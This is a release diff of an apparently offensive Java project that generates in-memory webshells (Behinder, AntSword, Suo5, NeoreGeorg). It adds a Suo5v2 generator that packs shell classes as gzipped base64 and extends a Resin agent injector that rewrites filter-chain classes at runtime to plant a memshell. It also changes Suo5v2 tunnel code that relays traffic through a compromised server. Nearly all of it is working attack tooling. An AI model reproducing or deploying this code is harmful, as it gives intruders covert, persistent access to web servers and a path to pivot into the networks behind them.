v2.6.0

build.gradle.kts

@@ -9,10 +9,16 @@ idea {
     }
 }
 
-version = "2.5.0"
+version = "2.5.1-SNAPSHOT"
 
 tasks.register("publishAllToMavenCentral") {
     dependsOn(":memshell-party-common:publishToMavenCentral")
     dependsOn(":packer:publishToMavenCentral")
     dependsOn(":generator:publishToMavenCentral")
+}
+
+tasks.register("publishAllToMavenLocal") {
+    dependsOn(":memshell-party-common:publishToMavenLocal")
+    dependsOn(":packer:publishToMavenLocal")
+    dependsOn(":generator:publishToMavenLocal")
 }

generator/src/main/java/com/reajason/javaweb/memshell/ShellToolFactory.java

@@ -23,7 +23,7 @@ public class ShellToolFactory {
         register(ShellTool.Behinder, BehinderGenerator.class, BehinderConfig.class);
         register(ShellTool.Command, CommandGenerator.class, CommandConfig.class);
         register(ShellTool.Suo5, Suo5Generator.class, Suo5Config.class);
-        register(ShellTool.Suo5v2, Suo5Generator.class, Suo5Config.class);
+        register(ShellTool.Suo5v2, Suo5V2Generator.class, Suo5Config.class);
         register(ShellTool.AntSword, AntSwordGenerator.class, AntSwordConfig.class);
         register(ShellTool.NeoreGeorg, NeoreGeorgGenerator.class, NeoreGeorgConfig.class);
         register(ShellTool.Custom, CustomShellGenerator.class, CustomConfig.class);

generator/src/main/java/com/reajason/javaweb/memshell/generator/ByteBuddyShellGenerator.java

@@ -23,6 +23,10 @@ protected ByteBuddyShellGenerator(ShellConfig shellConfig, T shellToolConfig) {
 
     protected abstract DynamicType.Builder<?> getBuilder();
 
+    protected byte[] postProcessBytes(byte[] classBytes) {
+        return classBytes;
+    }
+
     @Override
     public byte[] getBytes() {
         DynamicType.Builder<?> builder = getBuilder();
@@ -42,7 +46,8 @@ public byte[] getBytes() {
                 .visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));
 
         try (DynamicType.Unloaded<?> unloaded = builder.make()) {
-            return ProcessorRegistry.applyByteProcessors(unloaded.getBytes(), shellConfig, shellToolConfig);
+            byte[] bytes = postProcessBytes(unloaded.getBytes());
+            return ProcessorRegistry.applyByteProcessors(bytes, shellConfig, shellToolConfig);
         }
     }
 }

generator/src/main/java/com/reajason/javaweb/memshell/generator/ProcessorRegistry.java

@@ -17,11 +17,11 @@ public final class ProcessorRegistry {
     private static final List<Processor<DynamicType.Builder<?>>> BUILDER_PROCESSORS = Arrays.asList(
             new ListenerBuilderModifier(),
             new ValveBuilderModifier(),
-            new JakartaBuilderModifier(),
             new DebugOffBuilderModifier()
     );
 
     private static final List<Processor<byte[]>> BYTE_PROCESSORS = Arrays.asList(
+            new JakartaPostProcessor(),
             new JettyHandlerPostProcessor(),
             new ShrinkPostProcessor()
     );

generator/src/main/java/com/reajason/javaweb/memshell/generator/Suo5V2Generator.java

@@ -0,0 +1,46 @@
+package com.reajason.javaweb.memshell.generator;
+
+import com.reajason.javaweb.ClassBytesShrink;
+import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
+import com.reajason.javaweb.memshell.config.ShellConfig;
+import com.reajason.javaweb.memshell.config.Suo5Config;
+import com.reajason.javaweb.memshell.shelltool.suo5v2.Suo5v2;
+import com.reajason.javaweb.utils.CommonUtil;
+import net.bytebuddy.ByteBuddy;
+import net.bytebuddy.dynamic.DynamicType;
+import org.apache.commons.codec.binary.Base64;
+
+import static net.bytebuddy.matcher.ElementMatchers.named;
+
+/**
+ * @author ReaJason
+ * @since 2025/2/12
+ */
+public class Suo5V2Generator extends ByteBuddyShellGenerator<Suo5Config> {
+
+    public Suo5V2Generator(ShellConfig shellConfig, Suo5Config suo5Config) {
+        super(shellConfig, suo5Config);
+    }
+
+    @Override
+    protected DynamicType.Builder<?> getBuilder() {
+        if (Suo5v2.class.equals(shellToolConfig.getShellClass())) {
+            return new ByteBuddy()
+                    .redefine(shellToolConfig.getShellClass())
+                    .field(named("headerName")).value(shellToolConfig.getHeaderName())
+                    .field(named("headerValue")).value(shellToolConfig.getHeaderValue());
+        }
+        try (DynamicType.Unloaded<Suo5v2> unloaded = new ByteBuddy()
+                .redefine(Suo5v2.class)
+                .name(CommonUtil.generateClassName())
+                .field(named("headerName")).value(shellToolConfig.getHeaderName())
+                .field(named("headerValue")).value(shellToolConfig.getHeaderValue())
+                .visit(TargetJreVersionVisitorWrapper.DEFAULT)
+                .make()) {
+            byte[] shrinkBytes = ClassBytesShrink.shrink(unloaded.getBytes(), true);
+            return new ByteBuddy()
+                    .redefine(shellToolConfig.getShellClass())
+                    .field(named("suo5V2GZipBase64")).value(Base64.encodeBase64String(CommonUtil.gzipCompress(shrinkBytes)));
+        }
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/generator/processors/JakartaPostProcessor.java

@@ -0,0 +1,16 @@
+package com.reajason.javaweb.memshell.generator.processors;
+
+import com.reajason.javaweb.asm.ClassRenameUtils;
+import com.reajason.javaweb.memshell.config.ShellConfig;
+import com.reajason.javaweb.memshell.config.ShellToolConfig;
+import com.reajason.javaweb.memshell.generator.Processor;
+
+public class JakartaPostProcessor implements Processor<byte[]> {
+    @Override
+    public byte[] process(byte[] input, ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
+        if (shellConfig.isJakarta()) {
+            return ClassRenameUtils.relocateJakarta(input);
+        }
+        return input;
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/generator/processors/ListenerBuilderModifier.java

@@ -17,6 +17,7 @@
 import net.bytebuddy.description.type.TypeDescription;
 import net.bytebuddy.dynamic.DynamicType;
 import net.bytebuddy.implementation.FixedValue;
+import net.bytebuddy.implementation.StubMethod;
 import net.bytebuddy.matcher.ElementMatchers;
 
 import static net.bytebuddy.matcher.ElementMatchers.named;
@@ -46,26 +47,21 @@ public static DynamicType.Builder<?> modifier(DynamicType.Builder<?> builder, Cl
                                                   TypeDescription typeDefinition, String newClassName) {
         MethodList<MethodDescription.InDefinedShape> methods = typeDefinition.getDeclaredMethods();
 
-        if (methods.filter(ElementMatchers.named("getResponseFromRequest")
-                        .and(ElementMatchers.takesArguments(Object.class))
-                        .and(ElementMatchers.returns(Object.class)))
-                .isEmpty()) {
-            throw new GenerationException("[public Object getResponseFromRequest(Object request)] method not found" +
-                    " make sure arg and return type is Object.class");
+        if (methods.filter(named("getResponseFromRequest").and(takesArguments(1))).isEmpty()) {
+            throw new GenerationException("please add [getResponseFromRequest(Object request)] method," +
+                    " the method body will be auto adapted for multi server");
         } else {
             builder = builder
                     .visit(MethodCallReplaceVisitorWrapper.newInstance(
                             "getResponseFromRequest", newClassName, ShellCommonUtil.class.getName()))
                     .visit(Advice.to(implInterceptor).on(named("getResponseFromRequest")));
         }
 
-        if (methods.filter(named("getFieldValue")
-                        .and(takesArguments(Object.class, String.class)))
-                .isEmpty()) {
+        if (methods.filter(named("getFieldValue").and(takesArguments(Object.class, String.class))).isEmpty()) {
             builder = builder.defineMethod("getFieldValue", Object.class, Visibility.PUBLIC, Ownership.STATIC)
                     .withParameters(Object.class, String.class)
                     .throwing(Exception.class)
-                    .intercept(FixedValue.nullValue())
+                    .intercept(StubMethod.INSTANCE)
                     .visit(Advice.to(ShellCommonUtil.GetFieldValueInterceptor.class).on(named("getFieldValue")));
         }
         return builder;

generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinFilterChainAgentInjector.java

@@ -14,9 +14,11 @@
  * @since 2025/3/26
  */
 public class ResinFilterChainAgentInjector implements ClassFileTransformer {
-    private static final String TARGET_CLASS = "com/caucho/server/dispatch/FilterFilterChain";
     private static final String TARGET_METHOD_NAME = "doFilter";
-
+    private static final String[] TARGET_CLASSES = new String[]{
+            "com/caucho/server/http/FilterChainFilter",
+            "com/caucho/server/dispatch/FilterFilterChain",
+    };
     public static String getClassName() {
         return "{{advisorName}}";
     }
@@ -38,8 +40,10 @@ private static void launch(Instrumentation inst) throws Exception {
         inst.addTransformer(new ResinFilterChainAgentInjector(), true);
         for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
             String name = allLoadedClass.getName();
-            if (TARGET_CLASS.replace("/", ".").equals(name)) {
-                inst.retransformClasses(allLoadedClass);
+            for (String targetClass : TARGET_CLASSES) {
+                if (targetClass.replace("/", ".").equals(name)) {
+                    inst.retransformClasses(allLoadedClass);
+                }
             }
         }
     }
@@ -48,22 +52,24 @@ private static void launch(Instrumentation inst) throws Exception {
     @SuppressWarnings("all")
     public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
                             ProtectionDomain protectionDomain, byte[] bytes) {
-        if (TARGET_CLASS.equals(className)) {
-            defineTargetClass(loader);
-            try {
-                ClassReader cr = new ClassReader(bytes);
-                ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
-                    @Override
-                    protected ClassLoader getClassLoader() {
-                        return loader;
-                    }
-                };
-                ClassVisitor cv = getClassVisitor(cw);
-                cr.accept(cv, ClassReader.EXPAND_FRAMES);
-                System.out.println("MemShell Agent is working at " + TARGET_CLASS.replace("/", ".") + "." + TARGET_METHOD_NAME);
-                return cw.toByteArray();
-            } catch (Exception e) {
-                e.printStackTrace();
+        for (String targetClass : TARGET_CLASSES) {
+            if (className.equals(targetClass)) {
+                defineTargetClass(loader);
+                try {
+                    ClassReader cr = new ClassReader(bytes);
+                    ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
+                        @Override
+                        protected ClassLoader getClassLoader() {
+                            return loader;
+                        }
+                    };
+                    ClassVisitor cv = getClassVisitor(cw);
+                    cr.accept(cv, ClassReader.EXPAND_FRAMES);
+                    System.out.println("MemShell Agent is working at " + targetClass.replace("/", ".") + "." + TARGET_METHOD_NAME);
+                    return cw.toByteArray();
+                } catch (Exception e) {
+                    e.printStackTrace();
+                }
             }
         }
         return bytes;

generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2.java

@@ -248,8 +248,9 @@ private boolean processRedirect(Object req, Object resp, HashMap dataMap, byte[]
                 baos.write(bodyContent);
                 byte[] newBody = baos.toByteArray();
                 conn = redirect(req, new String(redirectData), newBody);
+                resp.getClass().getMethod("setStatus", new Class[]{int.class}).invoke(resp, new Object[]{new Integer(conn.getResponseCode())});
                 OutputStream out = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp);
-                pipeStream(conn.getInputStream(), out, false);
+                pipeStream(conn.getInputStream(), out, resp, false);
             } finally {
                 if (conn != null) {
                     conn.disconnect();
@@ -346,11 +347,10 @@ private void processFullStream(Object req, Object resp, HashMap dataMap, String
 
         Thread t = null;
         boolean sendClose = true;
+        final OutputStream scOutStream = socket.getOutputStream();
+        final InputStream scInStream = socket.getInputStream();
+        final OutputStream respOutputStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp);
         try {
-            final OutputStream scOutStream = socket.getOutputStream();
-            final InputStream scInStream = socket.getInputStream();
-            final OutputStream respOutputStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp);
-
             Suo5v2 p = new Suo5v2(scInStream, respOutputStream, tunId);
             t = new Thread(p);
             t.start();
@@ -539,8 +539,8 @@ private void performWrite(HashMap dataMap, String tunId, boolean newThread) thro
             throw new IOException("tunnel not found");
         }
         SocketChannel sc = (SocketChannel) objs[0];
-        if (!sc.isConnected()) {
-            throw new IOException("socket not connected");
+        if (!sc.isOpen()) {
+            return;
         }
 
         byte[] data = (byte[]) dataMap.get("dt");
@@ -563,9 +563,6 @@ private byte[] performRead(String tunId) throws Exception {
             throw new IOException("tunnel not found");
         }
         SocketChannel sc = (SocketChannel) objs[0];
-        if (!sc.isConnected()) {
-            throw new IOException("socket not connected");
-        }
         ByteArrayOutputStream baos = new ByteArrayOutputStream();
         BlockingQueue<byte[]> readQueue = (BlockingQueue<byte[]>) objs[1];
         int maxSize = 512 * 1024; // 1MB
@@ -582,6 +579,10 @@ private byte[] performRead(String tunId) throws Exception {
                 break; // no more data
             }
         }
+        if (!sc.isOpen() && readQueue.isEmpty()) {
+            performDelete(tunId);
+            baos.write(marshalBase64(newDel(tunId)));
+        }
         return baos.toByteArray();
     }
 
@@ -610,7 +611,7 @@ private int getServerPort(Object request) throws Exception {
         return port;
     }
 
-    private void pipeStream(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws Exception {
+    private void pipeStream(InputStream inputStream, OutputStream outputStream, Object resp, boolean needMarshal) throws Exception {
         try {
             byte[] readBuf = new byte[1024 * 8];
             while (true) {
@@ -624,6 +625,9 @@ private void pipeStream(InputStream inputStream, OutputStream outputStream, bool
                 }
                 outputStream.write(dataTmp);
                 outputStream.flush();
+                if (resp != null) {
+                    resp.getClass().getMethod("flushBuffer").invoke(resp);
+                }
             }
         } finally {
             // don't close outputStream
@@ -1031,7 +1035,7 @@ public void run() {
         // full stream
         if (this.mode == 0) {
             try {
-                pipeStream(gInStream, gOutStream, true);
+                pipeStream(gInStream, gOutStream, null, true);
             } catch (Exception ignore) {
             }
             return;
@@ -1065,10 +1069,17 @@ public void run() {
                 // write thread
                 while (true) {
                     byte[] data = writeQueue.poll(300, TimeUnit.SECONDS);
-                    if (data == null || data.length == 0) {
+                    if (data == null) {
                         selfClean = true;
                         break;
                     }
+                    if (data.length == 0) {
+                        byte[] signal = writeQueue.poll(10, TimeUnit.SECONDS);
+                        if (signal == null) {
+                            selfClean = true;
+                        }
+                        break;
+                    }
                     ByteBuffer buf = ByteBuffer.wrap(data);
                     while (buf.hasRemaining()) {
                         sc.write(buf);
@@ -1080,8 +1091,8 @@ public void run() {
             if (selfClean) {
 
                 removeKey(this.gtunId);
+                readQueue.clear();
             }
-            readQueue.clear();
             writeQueue.clear();
             try {
                 writeQueue.put(new byte[0]);